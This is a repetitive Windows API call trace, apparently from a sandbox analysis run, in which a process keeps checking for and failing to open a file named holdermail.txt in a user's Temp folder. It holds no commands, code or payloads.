	[0088.929] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.929] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.929] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.929] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.930] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.930] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.930] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.930] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.931] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.931] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.931] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.931] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.931] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.931] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.932] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.932] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.932] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.932] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.932] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.932] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.932] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.933] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.933] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.933] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.933] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.933] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.933] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.933] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.934] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.934] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.934] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.935] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.935] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.935] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.935] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.936] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.936] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.936] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.936] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.936] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.936] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.936] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.937] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.937] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.937] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.937] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.937] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.937] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.937] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.938] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.938] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.938] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.938] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.938] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.939] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.939] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.939] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.939] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.940] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.940] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.940] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.940] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.940] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.941] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.941] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.941] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.941] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.941] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.941] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.941] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.942] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.942] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.942] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.942] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.942] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.942] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.942] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.943] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.943] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.943] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.943] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
